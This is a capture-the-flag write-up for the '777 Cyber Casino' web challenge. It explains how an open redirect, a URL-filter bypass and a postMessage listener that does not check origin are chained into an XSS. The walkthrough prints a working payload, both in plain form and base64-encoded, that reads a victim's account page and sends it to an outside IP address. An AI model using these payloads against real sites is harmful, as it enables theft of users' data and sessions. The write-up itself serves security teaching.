3 minutes
[Avent ESNA] Web - 777 Cyber casino
Introduction
Every year ESNA organizes a CTF as an advent calendar, so there is a new challenge every day on a different theme, like pwn, forensic, programming, reverse and web. To motivate students to participate, the TOP 8 of the general ranking will be selected to participate in the CTF of EC2. The challenges are proposed by Worty & iHuggsy, but also by other trusted students ;).
I was lucky enough to be able to create a challenge for the occasion, so I will start with this one.
Web-1 : 777 Cyber Casino
- Description: “Un casino en ligne va ouvrir ces portes, vous avez été mandaté pour le pentest.”
- Solves: 6
- Difficulty:
EasyMedium - Author : SpawnZii
The site represents an online casino, there are several features:
- A login/register page.
- Pages with roulette and slot machine games.
- A user page with an identity verification form .
Inspection of login requests.
The first thing we could notice on the login is the presence of a url
parameter.
Which makes us think of the exploitation of an open redirect and thus of a potential client vulnerability.
Inspection of the account page.
On the account.php page we find a file upload form and a verification id button.
After some attempts on the file upload we realize that it is not vulnerable. It allows the user to upload his ID and retrieve it via a url.
Inspection of verification request.
This function takes as parameter the url of the file uploaded by the user.
When trying to modify the url sent, like this document_url=https://spawnzii.fr/?ping
we realize that the backend filters the url and we see an error message.
We will try to play with the parser to send a different url. There were several possibilities.
- Use the open redirect found before.
- Trick the url with
@
https://ů.cc@www.google.com. - Create a subdomain like this :
ů.cc.spawnzii.fr
.
Here I will choose to use the open redirect, we must first bypass the parser on the url parameter. After some attempts we quickly understand that the backend only verifies that the domain name is present in the url. We can therefore use https://xn--3ga.cc/login.php?url=https://www.google.com/?xn--3ga.cc
as a payload.
We can try to send the following request to learn more about the process.
One minute later we receive our ping on our netcat.
We can now validate that we need to exploit a client attack.
Find the XSS.
By inspecting the source code of the roulette we find a button calling two javascript functions.
Play() function.
This function will create an iframe from the following url https://ů.cc/table2.php
if the iframe is not already present.
function play(){
if(!document.getElementById('table2')){
var table = document.createElement('iframe');
table.setAttribute("src","https://ů.cc/table2.php");
table.id='table2';
table.style.width = "1900px";
table.style.height = "500px";
table.style.border = "none";
document.body.appendChild(table);
}
else{
alert('You can play on two tables maximum')
}
}
sendValue() function.
This function allows to transfer the amount of the balance of the user to the iframe via a post message.
function sendValue(){
if(document.getElementById('table2')){
const message = bankValue;
const iframe = document.querySelector("iframe");
iframe.contentWindow.postMessage(message, "*");
}
}
window.setInterval(function(){
sendValue();
},
Analysis of table2.php
On the table2.php page we found this script:
<script>
window.addEventListener('message', function(event) {
document.getElementById('bankSpan').innerHTML=event.data;
bankValue = event.data;
});
</script>
As you may have guessed, we are going to use an postmessage vulnerabilite :) As the add event listener does not verify the origin of the message, we will be able to send our own message which will be inserted in an innerHTML.
- First step make a request on account.php :
var xhr = new XMLHttpRequest();
xhr.open("GET", "//xn--3ga.cc/account.php", false);
xhr.send();
let x = xhr.responseText;
document.location="http://161.97.163.247:4444/?flag="+btoa(xhr.responseText);
- Create an iframe that will send our payload ans place it on your web server:
<iframe src="https://xn--3ga.cc/table2.php"
onload="this.contentWindow.postMessage('<img/src/onerror=eval(atob("
dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4a
HIub3BlbigiR0VUIiwgIi8veG4tLTNnYS5jYy9hY2NvdW50LnBocCIsIGZ
hbHNlKTsKeGhyLnNlbmQoKTsKCmxldCB4ID0geGhyLnJl
c3BvbnNlVGV4dDsKZG9jdW1lbnQubG9jYXRpb249Imh0d
HA6Ly8xNjEuOTcuMTYzLjI0Nzo0NDQ0Lz9mbGFnPSIrYn
RvYSh4aHIucmVzcG9uc2VUZXh0KTs="))>','*')">
- We can send the payload to the bot.
And we got the flag :)